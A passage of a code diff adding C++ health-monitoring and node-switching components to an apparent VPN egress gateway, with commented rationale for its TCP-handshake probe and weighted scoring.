// netif's shutdown has completed -- which is after this object is gone when
|
||||
// the last session reference is what triggered the teardown.
|
||||
std::shared_ptr<LinkAdapter> link_;
|
||||
std::shared_ptr<netstack::Netif> netif_;
|
||||
std::shared_ptr<netstack::Resolver> resolver_;
|
||||
std::chrono::steady_clock::time_point created_;
|
||||
std::chrono::steady_clock::time_point ready_at_{};
|
||||
|
||||
mutable std::mutex mu_; // guards state_, detail_, netif_, resolver_, info_
|
||||
EgressState state_ = EgressState::Idle;
|
||||
std::string detail_;
|
||||
ovpn::TunnelInfo info_;
|
||||
ReadyHandler on_ready_;
|
||||
bool ready_reported_ = false;
|
||||
};
|
||||
|
||||
} // namespace ovg::egress
|
||||
@@ -0,0 +1,395 @@
|
||||
#include "health/health_monitor.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cmath>
|
||||
#include <utility>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::health {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "health";
|
||||
|
||||
// How many samples to keep for /status. Twenty rounds at the default 15s is
|
||||
// five minutes of history -- enough to see a degradation coming, small enough
|
||||
// that nobody has to think about the memory.
|
||||
constexpr size_t kHistoryDepth = 20;
|
||||
|
||||
// RTT above this scores zero. Not a timeout: a 1.2s handshake through a
|
||||
// volunteer tunnel is still usable, it just should not outrank a 40ms one.
|
||||
constexpr double kRttFloorMs = 1000.0;
|
||||
|
||||
// Term weights. See the header for why they are these and not others.
|
||||
constexpr double kWRtt = 0.35;
|
||||
constexpr double kWConnect = 0.30;
|
||||
constexpr double kWStall = 0.20;
|
||||
constexpr double kWLoss = 0.15;
|
||||
|
||||
metrics::Gauge *g_score() {
|
||||
static auto *g = metrics::gauge("ovg_health_score_milli",
|
||||
"Egress health score x1000 (0..1000)");
|
||||
return g;
|
||||
}
|
||||
metrics::Gauge *g_rtt() {
|
||||
static auto *g =
|
||||
metrics::gauge("ovg_health_probe_rtt_ms", "In-tunnel probe RTT, ms");
|
||||
return g;
|
||||
}
|
||||
metrics::Counter *m_rounds() {
|
||||
static auto *c =
|
||||
metrics::counter("ovg_health_rounds_total", "Health sampling rounds");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_probe_failed() {
|
||||
static auto *c = metrics::counter("ovg_health_probe_failed_total",
|
||||
"Health probes that did not complete");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_unhealthy() {
|
||||
static auto *c =
|
||||
metrics::counter("ovg_health_unhealthy_total",
|
||||
"Sustained unhealthy verdicts reported upstream");
|
||||
return c;
|
||||
}
|
||||
|
||||
double clamp01(double v) { return v < 0.0 ? 0.0 : (v > 1.0 ? 1.0 : v); }
|
||||
|
||||
} // namespace
|
||||
|
||||
HealthMonitor::HealthMonitor(asio::io_context &io, HealthConfig cfg,
|
||||
EgressProvider acquire)
|
||||
: io_(io),
|
||||
cfg_(std::move(cfg)),
|
||||
acquire_(std::move(acquire)),
|
||||
strand_(asio::make_strand(io)),
|
||||
timer_(strand_),
|
||||
probe_timer_(strand_) {}
|
||||
|
||||
HealthMonitor::~HealthMonitor() { stop(); }
|
||||
|
||||
void HealthMonitor::set_on_unhealthy(UnhealthyHandler h) {
|
||||
on_unhealthy_ = std::move(h);
|
||||
}
|
||||
|
||||
void HealthMonitor::start() {
|
||||
if (running_.exchange(true, std::memory_order_acq_rel)) return;
|
||||
LOG_INFO(kMod, "monitor started: every {}ms, probe {}:{} within {}ms, "
|
||||
"unhealthy after {} consecutive windows below {:.2f}",
|
||||
cfg_.interval.count(), cfg_.probe_domain, cfg_.probe_port,
|
||||
cfg_.probe_timeout.count(), cfg_.unhealthy_windows, cfg_.min_score);
|
||||
asio::post(strand_, [this] { arm(); });
|
||||
}
|
||||
|
||||
void HealthMonitor::stop() {
|
||||
if (!running_.exchange(false, std::memory_order_acq_rel)) return;
|
||||
asio::post(strand_, [this] {
|
||||
timer_.cancel();
|
||||
probe_timer_.cancel();
|
||||
});
|
||||
}
|
||||
|
||||
void HealthMonitor::probe_now() {
|
||||
asio::post(strand_, [this] {
|
||||
if (!running_.load(std::memory_order_acquire)) return;
|
||||
timer_.cancel();
|
||||
run_round();
|
||||
});
|
||||
}
|
||||
|
||||
void HealthMonitor::arm() {
|
||||
if (!running_.load(std::memory_order_acquire)) return;
|
||||
timer_.expires_after(cfg_.interval);
|
||||
timer_.async_wait([this](const std::error_code &ec) {
|
||||
// A cancel means probe_now() took over the round; it re-arms itself.
|
||||
if (ec) return;
|
||||
run_round();
|
||||
});
|
||||
}
|
||||
|
||||
void HealthMonitor::run_round() {
|
||||
if (!running_.load(std::memory_order_acquire)) return;
|
||||
if (probe_in_flight_) {
|
||||
// The previous probe has not come back. Do not stack a second one -- that
|
||||
// would measure queueing, not the tunnel.
|
||||
arm();
|
||||
return;
|
||||
}
|
||||
|
||||
egress::EgressPtr eg = acquire_ ? acquire_() : nullptr;
|
||||
if (!eg) {
|
||||
Sample s;
|
||||
s.at = Clock::now();
|
||||
s.verdict = "no egress available";
|
||||
publish(std::move(s));
|
||||
arm();
|
||||
return;
|
||||
}
|
||||
|
||||
const auto state = eg->state();
|
||||
if (state != egress::EgressState::Ready) {
|
||||
// The veto. Probing a tunnel that is down measures the timeout, and the
|
||||
// answer is already known.
|
||||
Sample s;
|
||||
s.at = Clock::now();
|
||||
s.egress_present = true;
|
||||
s.egress_label = eg->label();
|
||||
s.verdict = fmt::format("egress is {}{}{}",
|
||||
egress::egress_state_name(state),
|
||||
eg->detail().empty() ? "" : ": ", eg->detail());
|
||||
publish(std::move(s));
|
||||
arm();
|
||||
return;
|
||||
}
|
||||
|
||||
// A literal in `probe_domain` is normalised here so the egress is not asked
|
||||
// to resolve something that is already an address.
|
||||
const auto literal = IpAddress::parse(cfg_.probe_domain);
|
||||
const Endpoint target = literal
|
||||
? Endpoint(*literal, cfg_.probe_port)
|
||||
: Endpoint(cfg_.probe_domain, cfg_.probe_port);
|
||||
|
||||
probe_in_flight_ = true;
|
||||
const auto t0 = Clock::now();
|
||||
// `done` closes the race between the egress's own timeout and ours. Both
|
||||
// fire on this strand, so a plain bool is enough -- but exactly one of them
|
||||
// may publish, or the round is counted twice.
|
||||
auto done = std::make_shared<bool>(false);
|
||||
|
||||
// A guard, not the real deadline: the egress is given `probe_timeout` and is
|
||||
// expected to honour it. This only catches a backend that loses a handler
|
||||
// altogether, which would otherwise wedge the monitor forever.
|
||||
probe_timer_.expires_after(cfg_.probe_timeout + std::chrono::seconds(2));
|
||||
probe_timer_.async_wait([this, done, eg](const std::error_code &ec) {
|
||||
if (ec || *done) return;
|
||||
*done = true;
|
||||
LOG_WARN(kMod, "probe to {} never completed; treating as failed",
|
||||
cfg_.probe_domain);
|
||||
finish_probe(eg, -1.0, false, "probe abandoned");
|
||||
});
|
||||
|
||||
eg->async_connect_tcp(
|
||||
strand_, target, cfg_.probe_timeout,
|
||||
[this, done, eg, t0](const std::error_code &ec,
|
||||
netstack::TcpStreamPtr stream) {
|
||||
if (*done) {
|
||||
if (stream) stream->close();
|
||||
return;
|
||||
}
|
||||
*done = true;
|
||||
probe_timer_.cancel();
|
||||
|
||||
const double rtt =
|
||||
std::chrono::duration<double, std::milli>(Clock::now() - t0)
|
||||
.count();
|
||||
// The handshake *is* the measurement; there is nothing to say to the
|
||||
// far end, so the stream goes straight back.
|
||||
if (stream) stream->close();
|
||||
finish_probe(eg, ec ? -1.0 : rtt, !ec, ec ? ec.message() : "");
|
||||
});
|
||||
}
|
||||
|
||||
void HealthMonitor::update_stall(const egress::EgressStats &st, Sample *out) {
|
||||
const uint64_t moved = st.tun_bytes_in + st.tun_bytes_out +
|
||||
st.transport_bytes_in + st.transport_bytes_out;
|
||||
if (moved != 0) traffic_ever_seen_ = true;
|
||||
|
||||
// A different egress means a fresh baseline; carrying the old one over would
|
||||
// report the new tunnel as stalled from the moment it was promoted.
|
||||
if (st.node_id != stall_label_) {
|
||||
stall_label_ = st.node_id;
|
||||
stall_bytes_ = moved;
|
||||
stall_since_ = Clock::now();
|
||||
traffic_ever_seen_ = moved != 0;
|
||||
}
|
||||
|
||||
// No byte accounting at all (the direct egress keeps none): the signal is
|
||||
// unavailable, which is not the same as bad. Leave stall_known false and let
|
||||
// the scorer renormalise around it.
|
||||
if (!traffic_ever_seen_) return;
|
||||
out->stall_known = true;
|
||||
|
||||
if (moved != stall_bytes_) {
|
||||
stall_bytes_ = moved;
|
||||
stall_since_ = Clock::now();
|
||||
return;
|
||||
}
|
||||
// Idle is not stalled. With nothing in flight there is nothing to stall.
|
||||
if (st.tcp_active <= 0 && st.udp_active <= 0) {
|
||||
stall_since_ = Clock::now();
|
||||
return;
|
||||
}
|
||||
out->stalled_ms = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
Clock::now() - stall_since_)
|
||||
.count();
|
||||
}
|
||||
|
||||
void HealthMonitor::finish_probe(egress::EgressPtr eg, double rtt_ms, bool ok,
|
||||
const std::string &probe_note) {
|
||||
probe_in_flight_ = false;
|
||||
if (!ok) m_probe_failed()->inc();
|
||||
|
||||
const auto st = eg->stats();
|
||||
|
||||
Sample s;
|
||||
s.at = Clock::now();
|
||||
s.egress_present = true;
|
||||
s.egress_label = eg->label();
|
||||
s.tunnel_up = true;
|
||||
s.probe_ok = ok;
|
||||
s.rtt_ms = rtt_ms;
|
||||
s.connect_failure_rate = st.connect_failure_rate();
|
||||
|
||||
const uint64_t tx_total = st.tx_packets + st.tx_dropped;
|
||||
const uint64_t rx_total = st.rx_packets + st.rx_dropped + st.rx_malformed;
|
||||
const double tx_loss =
|
||||
tx_total == 0 ? 0.0 : static_cast<double>(st.tx_dropped) / tx_total;
|
||||
const double rx_loss =
|
||||
rx_total == 0
|
||||
? 0.0
|
||||
: static_cast<double>(st.rx_dropped + st.rx_malformed) / rx_total;
|
||||
s.loss_rate = std::max(tx_loss, rx_loss);
|
||||
|
||||
update_stall(st, &s);
|
||||
|
||||
// ---- score ---------------------------------------------------------------
|
||||
// Terms whose input is missing are dropped and the rest renormalised, so an
|
||||
// unavailable signal never reads as a failing one.
|
||||
double weighted = 0.0, weight = 0.0;
|
||||
|
||||
const double rtt_term = ok ? clamp01(1.0 - rtt_ms / kRttFloorMs) : 0.0;
|
||||
weighted += kWRtt * rtt_term;
|
||||
weight += kWRtt;
|
||||
|
||||
const double connect_term = clamp01(1.0 - s.connect_failure_rate);
|
||||
weighted += kWConnect * connect_term;
|
||||
weight += kWConnect;
|
||||
|
||||
if (s.stall_known) {
|
||||
const double frac =
|
||||
cfg_.stall_threshold.count() <= 0
|
||||
? 0.0
|
||||
: static_cast<double>(s.stalled_ms) / cfg_.stall_threshold.count();
|
||||
weighted += kWStall * clamp01(1.0 - frac);
|
||||
weight += kWStall;
|
||||
}
|
||||
|
||||
// Loss counters only exist behind the netstack; zeros from a direct egress
|
||||
// are genuine zeros, so this term is always available.
|
||||
weighted += kWLoss * clamp01(1.0 - s.loss_rate * 4.0); // 25% loss => zero
|
||||
weight += kWLoss;
|
||||
|
||||
s.score = weight > 0.0 ? weighted / weight : 0.0;
|
||||
|
||||
// Two hard rules that override the blend. A failed probe means no traffic is
|
||||
// getting through at all, and a connect failure rate past the configured
|
||||
// ceiling means sessions are already failing -- neither should be able to be
|
||||
// averaged back into "fine" by a healthy-looking loss counter.
|
||||
if (!ok) {
|
||||
s.score = std::min(s.score, cfg_.min_score / 2.0);
|
||||
s.verdict = "probe failed" + (probe_note.empty() ? "" : ": " + probe_note);
|
||||
} else if (s.connect_failure_rate > cfg_.max_connect_failure_rate) {
|
||||
s.score = std::min(s.score, cfg_.min_score / 2.0);
|
||||
s.verdict = fmt::format("connect failure rate {:.0f}% over ceiling {:.0f}%",
|
||||
s.connect_failure_rate * 100.0,
|
||||
cfg_.max_connect_failure_rate * 100.0);
|
||||
} else if (s.stall_known && s.stalled_ms >= cfg_.stall_threshold.count()) {
|
||||
s.verdict = fmt::format("no byte progress for {}ms with {} live stream(s)",
|
||||
s.stalled_ms, st.tcp_active + st.udp_active);
|
||||
} else {
|
||||
s.verdict = fmt::format("rtt {:.0f}ms, connect ok {:.0f}%, loss {:.1f}%",
|
||||
rtt_ms, (1.0 - s.connect_failure_rate) * 100.0,
|
||||
s.loss_rate * 100.0);
|
||||
}
|
||||
|
||||
publish(std::move(s));
|
||||
arm();
|
||||
}
|
||||
|
||||
void HealthMonitor::publish(Sample s) {
|
||||
s.healthy = s.score >= cfg_.min_score;
|
||||
|
||||
int bad = 0;
|
||||
uint64_t round = 0;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
rounds_++;
|
||||
round = rounds_;
|
||||
consecutive_bad_ = s.healthy ? 0 : consecutive_bad_ + 1;
|
||||
bad = consecutive_bad_;
|
||||
history_.push_back(s);
|
||||
if (history_.size() > kHistoryDepth) history_.pop_front();
|
||||
}
|
||||
|
||||
m_rounds()->inc();
|
||||
g_score()->set(static_cast<int64_t>(s.score * 1000.0));
|
||||
g_rtt()->set(s.rtt_ms < 0 ? -1 : static_cast<int64_t>(s.rtt_ms));
|
||||
|
||||
if (s.healthy) {
|
||||
LOG_DEBUG(kMod, "round {}: {} score {:.2f} -- {}", round,
|
||||
s.egress_label.empty() ? "-" : s.egress_label, s.score,
|
||||
s.verdict);
|
||||
return;
|
||||
}
|
||||
|
||||
LOG_WARN(kMod, "round {}: {} score {:.2f} below {:.2f} ({}/{}) -- {}", round,
|
||||
s.egress_label.empty() ? "-" : s.egress_label, s.score,
|
||||
cfg_.min_score, bad, cfg_.unhealthy_windows, s.verdict);
|
||||
|
||||
if (bad < cfg_.unhealthy_windows) return;
|
||||
|
||||
// Sustained. Report once and reset the counter: the switch it triggers takes
|
||||
// longer than one interval, and re-reporting every round would queue up
|
||||
// switch requests for a decision that has already been made.
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
consecutive_bad_ = 0;
|
||||
}
|
||||
m_unhealthy()->inc();
|
||||
const std::string why =
|
||||
fmt::format("{} unhealthy for {} consecutive windows: {}",
|
||||
s.egress_label.empty() ? "egress" : s.egress_label,
|
||||
cfg_.unhealthy_windows, s.verdict);
|
||||
LOG_ERROR(kMod, "{}", why);
|
||||
if (on_unhealthy_) on_unhealthy_(why);
|
||||
}
|
||||
|
||||
Sample HealthMonitor::last() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (history_.empty()) return {};
|
||||
Sample s = history_.back();
|
||||
s.age_ms =
|
||||
std::chrono::duration_cast<std::chrono::milliseconds>(Clock::now() - s.at)
|
||||
.count();
|
||||
return s;
|
||||
}
|
||||
|
||||
std::vector<Sample> HealthMonitor::recent(size_t n) const {
|
||||
std::vector<Sample> out;
|
||||
const auto now = Clock::now();
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
const size_t take = std::min(n, history_.size());
|
||||
out.reserve(take);
|
||||
for (size_t i = history_.size() - take; i < history_.size(); ++i) {
|
||||
Sample s = history_[i];
|
||||
s.age_ms =
|
||||
std::chrono::duration_cast<std::chrono::milliseconds>(now - s.at)
|
||||
.count();
|
||||
out.push_back(std::move(s));
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
int HealthMonitor::consecutive_bad() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return consecutive_bad_;
|
||||
}
|
||||
|
||||
uint64_t HealthMonitor::rounds() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return rounds_;
|
||||
}
|
||||
|
||||
} // namespace ovg::health
|
||||
@@ -0,0 +1,163 @@
|
||||
// L2 health checking: is the *current* egress still worth keeping?
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Two layers, and this is only the second
|
||||
// ---------------------------------------------------------------------------
|
||||
// L1 is openvpn3's own ping/ping-restart reconnect. It happens inside the
|
||||
// session, the tun fd survives it (tunPersist), and lwIP never notices -- so it
|
||||
// costs nothing and covers the overwhelming majority of transient trouble. Do
|
||||
// not duplicate it here.
|
||||
//
|
||||
// L2 is "this node is not coming back, find another one". It is expensive: a
|
||||
// switch drops every session that has already moved bytes. So the bar has to be
|
||||
// high, and it has to be *sustained* -- `unhealthy_windows` consecutive bad
|
||||
// samples, not one. A single 5s blip on a volunteer-run VPN in another country
|
||||
// is normal weather (docs/ARCHITECTURE.md §7).
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Why the probe is a TCP handshake and not a DNS lookup
|
||||
// ---------------------------------------------------------------------------
|
||||
// The obvious in-tunnel RTT probe is a timed DNS query. It is also wrong: both
|
||||
// resolvers we ship cache, so the second query onwards is answered from memory
|
||||
// in ~0ms without a single byte crossing the tunnel. That reports a *dead*
|
||||
// tunnel as the healthiest thing in the fleet -- the exact failure the monitor
|
||||
// exists to catch.
|
||||
//
|
||||
// So the probe dials `probe_domain:probe_port` through the egress and drops the
|
||||
// stream the moment it is up. A handshake cannot be served from a cache, it
|
||||
// exercises the same path a real session uses, and its timing is a genuine
|
||||
// round trip. The name lookup still happens inside it, so a broken in-tunnel
|
||||
// resolver still shows up -- as a failed probe rather than a slow one.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Scoring, and what happens when a signal is not available
|
||||
// ---------------------------------------------------------------------------
|
||||
// Four weighted terms in [0,1], plus one veto:
|
||||
//
|
||||
// veto egress absent or not Ready -> score 0, no probe attempted
|
||||
// rtt probe latency, 0ms..1000ms -> 0.35
|
||||
// connect SOCKS5 CONNECT success rate -> 0.30
|
||||
// stall active sessions but no byte motion -> 0.20
|
||||
// loss netstack drop counters -> 0.15
|
||||
//
|
||||
// The stall term needs byte counters the direct egress does not keep (it has no
|
||||
// single aggregate to report, egress/egress.h). Rather than let a permanent
|
||||
// zero read as a permanent stall, a term whose input is unavailable is dropped
|
||||
// and the remaining weights are renormalised. A missing signal must not be
|
||||
// scored as a bad one.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Threading
|
||||
// ---------------------------------------------------------------------------
|
||||
// Everything runs on an internal strand. `last()`/`recent()` take a short mutex
|
||||
// and are callable from the admin thread. The unhealthy handler is invoked on
|
||||
// the strand; SwitchController forwards it straight to EgressManager, which has
|
||||
// its own.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <chrono>
|
||||
#include <cstdint>
|
||||
#include <deque>
|
||||
#include <functional>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/strand_deleter.h" // ovg::Strand
|
||||
#include "egress/egress.h"
|
||||
|
||||
namespace ovg::health {
|
||||
|
||||
using Clock = std::chrono::steady_clock;
|
||||
|
||||
// One sampling round. Kept whole (rather than reduced to a bool) because "why
|
||||
// did it decide that" is the only question anyone asks of a health check.
|
||||
struct Sample {
|
||||
int64_t age_ms = 0; // how long ago this was taken, filled in on read
|
||||
std::string egress_label;
|
||||
bool egress_present = false;
|
||||
bool tunnel_up = false;
|
||||
|
||||
double rtt_ms = -1.0; // -1 = probe did not complete
|
||||
bool probe_ok = false;
|
||||
double connect_failure_rate = 0.0;
|
||||
int64_t stalled_ms = 0; // 0 = moving, or unmeasurable
|
||||
bool stall_known = false; // false = egress keeps no byte counters
|
||||
double loss_rate = 0.0;
|
||||
|
||||
double score = 0.0;
|
||||
bool healthy = false;
|
||||
std::string verdict; // one line, human-first
|
||||
|
||||
Clock::time_point at{};
|
||||
};
|
||||
|
||||
class HealthMonitor {
|
||||
public:
|
||||
// Returns the egress to sample, or null if there is none. Same seam as
|
||||
// socks5::Server::EgressProvider, and for the same reason: the monitor is
|
||||
// testable against a DirectEgress with no manager in sight.
|
||||
using EgressProvider = std::function<egress::EgressPtr()>;
|
||||
using UnhealthyHandler = std::function<void(const std::string &why)>;
|
||||
|
||||
HealthMonitor(asio::io_context &io, HealthConfig cfg, EgressProvider acquire);
|
||||
~HealthMonitor();
|
||||
|
||||
HealthMonitor(const HealthMonitor &) = delete;
|
||||
HealthMonitor &operator=(const HealthMonitor &) = delete;
|
||||
|
||||
// Fires once per *sustained* failure, not once per bad sample: after it fires
|
||||
// the window counter resets, so a node that stays bad does not produce a
|
||||
// switch request every `interval`. Set before start().
|
||||
void set_on_unhealthy(UnhealthyHandler h);
|
||||
|
||||
void start();
|
||||
void stop();
|
||||
|
||||
// Runs a round now, off-schedule, and re-arms the timer from here. Used by
|
||||
// the admin endpoint and by SwitchController right after a promotion, when
|
||||
// waiting a full interval to learn whether the new node works is too slow.
|
||||
void probe_now();
|
||||
|
||||
Sample last() const;
|
||||
std::vector<Sample> recent(size_t n) const;
|
||||
int consecutive_bad() const;
|
||||
uint64_t rounds() const;
|
||||
|
||||
private:
|
||||
void arm();
|
||||
void run_round();
|
||||
void finish_probe(egress::EgressPtr eg, double rtt_ms, bool ok,
|
||||
const std::string &probe_note);
|
||||
void publish(Sample s);
|
||||
// Byte-motion bookkeeping, reset whenever the egress underneath changes.
|
||||
void update_stall(const egress::EgressStats &st, Sample *out);
|
||||
|
||||
asio::io_context &io_;
|
||||
HealthConfig cfg_;
|
||||
EgressProvider acquire_;
|
||||
Strand strand_;
|
||||
asio::steady_timer timer_;
|
||||
asio::steady_timer probe_timer_;
|
||||
|
||||
UnhealthyHandler on_unhealthy_;
|
||||
std::atomic<bool> running_{false};
|
||||
|
||||
// Strand-only.
|
||||
bool probe_in_flight_ = false;
|
||||
std::string stall_label_;
|
||||
uint64_t stall_bytes_ = 0;
|
||||
Clock::time_point stall_since_{};
|
||||
bool traffic_ever_seen_ = false;
|
||||
|
||||
mutable std::mutex mu_;
|
||||
std::deque<Sample> history_;
|
||||
int consecutive_bad_ = 0;
|
||||
uint64_t rounds_ = 0;
|
||||
};
|
||||
|
||||
} // namespace ovg::health
|
||||
@@ -0,0 +1,215 @@
|
||||
#include "health/switch_controller.h"
|
||||
|
||||
#include <utility>
|
||||
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::health {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "switch";
|
||||
|
||||
// The tunnel-down watchdog runs faster than the health interval on purpose: an
|
||||
// egress that has reported Down is not a scoring question, and the answer does
|
||||
// not improve by waiting for three probe timeouts.
|
||||
constexpr std::chrono::milliseconds kWatchdogInterval{3000};
|
||||
|
||||
metrics::Counter *m_requested() {
|
||||
static auto *c = metrics::counter("ovg_switch_requests_total",
|
||||
"Switches asked for by the controller");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_declined() {
|
||||
static auto *c =
|
||||
metrics::counter("ovg_switch_declined_total",
|
||||
"Switch requests the egress manager refused");
|
||||
return c;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
SwitchController::SwitchController(asio::io_context &io, const Config &cfg,
|
||||
HealthMonitor &monitor,
|
||||
egress::EgressManager &manager)
|
||||
: io_(io),
|
||||
cfg_(cfg),
|
||||
monitor_(monitor),
|
||||
manager_(manager),
|
||||
strand_(asio::make_strand(io)),
|
||||
watchdog_(strand_),
|
||||
opportunistic_(strand_) {}
|
||||
|
||||
SwitchController::~SwitchController() { stop(); }
|
||||
|
||||
void SwitchController::start() {
|
||||
if (running_.exchange(true, std::memory_order_acq_rel)) return;
|
||||
|
||||
monitor_.set_on_unhealthy([this](const std::string &why) {
|
||||
// Hop to our strand: the monitor calls this from its own, and every counter
|
||||
// and timer here belongs to ours.
|
||||
asio::post(strand_, [this, why] {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
stats_.unhealthy++;
|
||||
}
|
||||
ask(egress::SwitchReason::Unhealthy, why, false);
|
||||
});
|
||||
});
|
||||
|
||||
asio::post(strand_, [this] {
|
||||
arm_watchdog();
|
||||
arm_opportunistic();
|
||||
});
|
||||
|
||||
if (cfg_.switching.opportunistic_interval.count() > 0) {
|
||||
LOG_INFO(kMod, "opportunistic scan every {}ms (margin {:.0f}%)",
|
||||
cfg_.switching.opportunistic_interval.count(),
|
||||
cfg_.switching.improvement_margin * 100.0);
|
||||
} else {
|
||||
LOG_INFO(kMod, "opportunistic scanning disabled; switching on degradation "
|
||||
"only");
|
||||
}
|
||||
}
|
||||
|
||||
void SwitchController::stop() {
|
||||
if (!running_.exchange(false, std::memory_order_acq_rel)) return;
|
||||
asio::post(strand_, [this] {
|
||||
watchdog_.cancel();
|
||||
opportunistic_.cancel();
|
||||
});
|
||||
}
|
||||
|
||||
void SwitchController::arm_watchdog() {
|
||||
if (!running_.load(std::memory_order_acquire)) return;
|
||||
watchdog_.expires_after(kWatchdogInterval);
|
||||
watchdog_.async_wait([this](const std::error_code &ec) {
|
||||
if (ec) return;
|
||||
check_tunnel();
|
||||
arm_watchdog();
|
||||
});
|
||||
}
|
||||
|
||||
void SwitchController::check_tunnel() {
|
||||
const auto st = manager_.status();
|
||||
|
||||
// Only interesting while nothing is already being done about it. During
|
||||
// Selecting/Connecting/Promoting a replacement is on its way, and during a
|
||||
// drain the *active* egress is the new one.
|
||||
if (st.phase != egress::SwitchPhase::Idle &&
|
||||
st.phase != egress::SwitchPhase::Draining) {
|
||||
return;
|
||||
}
|
||||
|
||||
const bool down = st.active_state == egress::EgressState::Down ||
|
||||
st.active_node.empty();
|
||||
if (!down) {
|
||||
down_reported_ = false;
|
||||
return;
|
||||
}
|
||||
if (down_reported_) return;
|
||||
down_reported_ = true;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
stats_.tunnel_down++;
|
||||
}
|
||||
ask(egress::SwitchReason::TunnelDown,
|
||||
st.active_node.empty()
|
||||
? "no active egress"
|
||||
: "active egress " + st.active_node + " is down" +
|
||||
(st.active_detail.empty() ? "" : ": " + st.active_detail),
|
||||
false);
|
||||
}
|
||||
|
||||
void SwitchController::arm_opportunistic() {
|
||||
if (!running_.load(std::memory_order_acquire)) return;
|
||||
const auto every = cfg_.switching.opportunistic_interval;
|
||||
if (every.count() <= 0) return;
|
||||
|
||||
opportunistic_.expires_after(every);
|
||||
opportunistic_.async_wait([this](const std::error_code &ec) {
|
||||
if (ec) return;
|
||||
const auto st = manager_.status();
|
||||
// Only when everything is quiet. Chasing a better node while a switch is
|
||||
// in flight is how you get two switches for one problem.
|
||||
if (st.phase == egress::SwitchPhase::Idle) {
|
||||
const auto sample = monitor_.last();
|
||||
// And only when the current node is actually healthy: if it is not, the
|
||||
// unhealthy path owns the decision and has better reasons than "it has
|
||||
// been a while".
|
||||
if (sample.healthy) {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
stats_.opportunistic++;
|
||||
}
|
||||
ask(egress::SwitchReason::BetterCandidate,
|
||||
"periodic scan for a better node", false);
|
||||
}
|
||||
}
|
||||
arm_opportunistic();
|
||||
});
|
||||
}
|
||||
|
||||
void SwitchController::note_promotion(const std::string &from,
|
||||
const std::string &to) {
|
||||
asio::post(strand_, [this, from, to] {
|
||||
// A promotion is the one moment the health picture is guaranteed stale.
|
||||
down_reported_ = false;
|
||||
LOG_INFO(kMod, "promotion {} -> {}; re-probing health now", from, to);
|
||||
monitor_.probe_now();
|
||||
});
|
||||
}
|
||||
|
||||
bool SwitchController::force_switch(const std::string &why,
|
||||
std::string *detail) {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
stats_.manual++;
|
||||
}
|
||||
LOG_INFO(kMod, "manual switch requested: {}", why);
|
||||
// Not posted to the strand: the caller (admin) wants the accept/decline
|
||||
// answer synchronously, and request_switch is thread-safe by contract.
|
||||
const bool ok =
|
||||
manager_.request_switch(egress::SwitchReason::Manual, true, detail);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
stats_.requested++;
|
||||
if (!ok) stats_.declined++;
|
||||
stats_.last_trigger = "manual: " + why;
|
||||
}
|
||||
m_requested()->inc();
|
||||
if (!ok) m_declined()->inc();
|
||||
return ok;
|
||||
}
|
||||
|
||||
void SwitchController::ask(egress::SwitchReason reason, const std::string &why,
|
||||
bool force) {
|
||||
LOG_WARN(kMod, "requesting a switch ({}): {}",
|
||||
egress::switch_reason_name(reason), why);
|
||||
std::string declined_why;
|
||||
const bool ok = manager_.request_switch(reason, force, &declined_why);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
stats_.requested++;
|
||||
if (!ok) stats_.declined++;
|
||||
stats_.last_trigger =
|
||||
std::string(egress::switch_reason_name(reason)) + ": " + why;
|
||||
}
|
||||
m_requested()->inc();
|
||||
if (!ok) {
|
||||
m_declined()->inc();
|
||||
// Not an error: the manager refuses inside the anti-flap window and during
|
||||
// backoff, which is exactly what those exist for. Say so plainly, with the
|
||||
// actual reason, so nobody goes looking for a bug when the logs show a
|
||||
// request with no switch after it.
|
||||
LOG_INFO(kMod, "switch declined by the manager: {}", declined_why);
|
||||
}
|
||||
}
|
||||
|
||||
SwitchController::Stats SwitchController::stats() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return stats_;
|
||||
}
|
||||
|
||||
} // namespace ovg::health
|
||||
@@ -0,0 +1,116 @@
|
||||
// Turns health verdicts into switch requests.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Why this is not part of either neighbour
|
||||
// ---------------------------------------------------------------------------
|
||||
// HealthMonitor answers "is this node still good?". EgressManager answers "how
|
||||
// do I replace a node without dropping the world?". Neither should own the
|
||||
// policy that connects them, because that policy is the part most likely to
|
||||
// change: how long to wait after startup, whether to chase a better node while
|
||||
// the current one is fine, what a tunnel that went Down on its own means.
|
||||
// Keeping it here means those decisions are readable in one file instead of
|
||||
// spread across a health check and a state machine.
|
||||
//
|
||||
